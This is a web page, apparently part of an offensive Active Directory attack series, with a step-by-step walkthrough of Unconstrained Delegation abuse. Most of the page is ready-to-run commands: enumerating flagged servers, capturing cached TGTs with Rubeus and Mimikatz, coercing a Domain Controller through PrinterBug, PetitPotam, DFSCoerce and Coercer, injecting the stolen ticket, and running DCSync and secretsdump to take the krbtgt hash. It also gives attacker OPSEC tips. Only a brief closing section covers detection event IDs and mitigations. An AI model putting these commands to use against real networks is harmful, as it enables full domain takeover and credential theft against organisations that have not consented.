AD ^: Active Directory

Attack #15 — Unconstrained Delegation Abuse

Unconstrained Delegation is a legacy Kerberos feature that allows a service to impersonate any user to any other service in the domain. When a computer…

advanced updated 2026-08-10 NetExec · Impacket · Mimikatz · Rubeus

🟠 Attack #15 — Unconstrained Delegation Abuse


📖 How It Works

Unconstrained Delegation is a legacy Kerberos feature that allows a service to impersonate any user to any other service in the domain. When a computer object is configured with the TRUSTED_FOR_DELEGATION flag, any user authenticating to that computer via Kerberos sends their entire TGT inside the service ticket — and the computer caches it in LSASS memory. If an attacker compromises a server with Unconstrained Delegation, they can extract every cached TGT from memory and impersonate those users to any service in the domain.

The critical escalation path is coercing a Domain Controller to authenticate to the compromised server. Since DCs are computer accounts, their TGT carries machine-level privileges. With the DC’s TGT, the attacker can perform DCSync and achieve full domain compromise.

The Full Attack Flow

1. Enumerate servers with TRUSTED_FOR_DELEGATION flag
2. Compromise one of those servers (local admin required)
3. Set up Rubeus monitor to capture incoming TGTs
4. Coerce the DC to authenticate to your compromised server
   - PrinterBug / SpoolSample (MS-RPRN)
   - PetitPotam (MS-EFSR)
   - DFSCoerce (MS-DFSNM)
5. DC authenticates → its TGT is cached on your server
6. Extract the DC's TGT from LSASS memory
7. Inject the DC's TGT → DCSync → own the domain

⚙️ Prerequisites

RequirementDetail
Local admin on Unconstrained Delegation serverRequired to extract TGTs from LSASS
Unconstrained Delegation server existsComputer object with TRUSTED_FOR_DELEGATION flag
Network access to coerce DCMust reach DC on RPC ports for coercion
Print Spooler or EFS service running on DCFor coercion methods to work

🛠️ Tools

ToolPlatformNotes
RubeusWindowsmonitor mode to capture incoming TGTs in real-time
MimikatzWindowssekurlsa::tickets /export to dump cached tickets
SpoolSampleWindowsPrinterBug coercion — forces DC to auth to you
printerbug.pyLinuxImpacket PrinterBug — remote coercion from Linux
PetitPotamLinux/WindowsMS-EFSR coercion — no authentication required in some versions
DFSCoerceLinuxMS-DFSNM coercion
CoercerLinuxMulti-protocol coercion toolkit
PowerViewWindowsEnumerate Unconstrained Delegation servers
BloodHoundBothVisual identification of delegation targets

💻 Full Commands

🔵 Step 1 — Enumerate Unconstrained Delegation Servers

# ── PowerView ─────────────────────────────────────────────────────────────────
Import-Module .\PowerView.ps1
Get-DomainComputer -Unconstrained | Select-Object samaccountname, dnshostname, useraccountcontrol
# Ignore Domain Controllers — they always have Unconstrained Delegation

# ── AD Module ─────────────────────────────────────────────────────────────────
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, DNSHostName |
  Select-Object Name, DNSHostName, TrustedForDelegation

# ── LDAP Filter ───────────────────────────────────────────────────────────────
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -Properties DNSHostName
# ── Linux — BloodHound.py + Impacket ──────────────────────────────────────────
findDelegation.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# Shows all delegation types: Unconstrained, Constrained, RBCD

# ── NetExec ───────────────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' --trusted-for-delegation

🔴 Step 2 — Monitor for Incoming TGTs (On Compromised Server)

# ── Rubeus monitor mode — capture TGTs as they arrive ─────────────────────────
.\Rubeus.exe monitor /interval:5 /nowrap
# Runs continuously, printing base64-encoded TGTs as users authenticate
# Wait for the DC's TGT after triggering coercion

# ── Rubeus monitor with filter for specific user ──────────────────────────────
.\Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap
# Only shows TGTs from the DC machine account

# ── Alternative: Mimikatz — dump all cached tickets ──────────────────────────
privilege::debug
sekurlsa::tickets /export
# Exports all TGTs as .kirbi files from LSASS memory

🔴 Step 3 — Coerce DC Authentication

# ── PrinterBug / SpoolSample (MS-RPRN) ────────────────────────────────────────
# Forces DC to authenticate to your compromised server via Print Spooler
printerbug.py corp.local/low_user:'Password1'@DC01.corp.local COMPROMISED_SERVER.corp.local
# DC01 will auth to COMPROMISED_SERVER → TGT cached

# ── PetitPotam (MS-EFSR) — often works unauthenticated ───────────────────────
python3 PetitPotam.py COMPROMISED_SERVER.corp.local DC01.corp.local
# Or with credentials:
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  COMPROMISED_SERVER.corp.local DC01.corp.local

# ── DFSCoerce (MS-DFSNM) ─────────────────────────────────────────────────────
python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local \
  COMPROMISED_SERVER.corp.local DC01.corp.local

# ── Coercer (multi-protocol) ─────────────────────────────────────────────────
coercer coerce -u low_user -p 'Password1' -d corp.local \
  -l COMPROMISED_SERVER.corp.local -t DC01.corp.local
# ── Windows — SpoolSample.exe ─────────────────────────────────────────────────
.\SpoolSample.exe DC01.corp.local COMPROMISED_SERVER.corp.local

🔴 Step 4 — Extract and Use DC’s TGT

# ── Rubeus — inject the captured DC TGT ──────────────────────────────────────
.\Rubeus.exe ptt /ticket:<base64_encoded_DC_TGT_from_monitor>

# ── DCSync with the DC's ticket ──────────────────────────────────────────────
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit

# ── Verify ────────────────────────────────────────────────────────────────────
klist
dir \\DC01.corp.local\C$
# ── Linux — convert and use ───────────────────────────────────────────────────
# If you captured a .kirbi file, convert to .ccache:
ticketConverter.py dc01_tgt.kirbi dc01_tgt.ccache

export KRB5CCNAME=dc01_tgt.ccache
secretsdump.py -k -no-pass corp.local/DC01\$@DC01.corp.local

🎯 OPSEC Tips

  • Rubeus monitor mode is preferred over Mimikatz for real-time TGT capture — it catches tickets as they arrive
  • PrinterBug requires Print Spooler running on DC — check first with ls \\DC01\pipe\spoolss
  • PetitPotam may work unauthenticated on unpatched DCs — most valuable coercion method
  • DCs always have Unconstrained Delegation — they’re not your targets; look for NON-DC servers with the flag

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogDC machine account (DC01$) authenticating to a workstation — unusual
4768Security LogTGT request patterns associated with coercion
4769Security LogTGS requests using the DC’s captured TGT from non-DC source
5145Security LogNetwork share access from the coerced DC to the attacker’s host

🔗 Attack Chain Context

[Unconstrained Delegation] ──→ DC TGT Theft → Domain Compromise

         ├──→ 🖨️ Coerce DC via PrinterBug/PetitPotam → capture DC TGT
         ├──→ 🩸 DC TGT → DCSync → KRBTGT hash → Golden Ticket
         ├──→ 🔗 Requires: local admin on UD server + coercion method
         ├──→ 🔗 Chain with: PetitPotam (#41), PrinterBug (#42)
         └──→ 💀 Defeated by: remove UD flag, disable Spooler on DCs, Protected Users

Attack #15 — Unconstrained Delegation complete.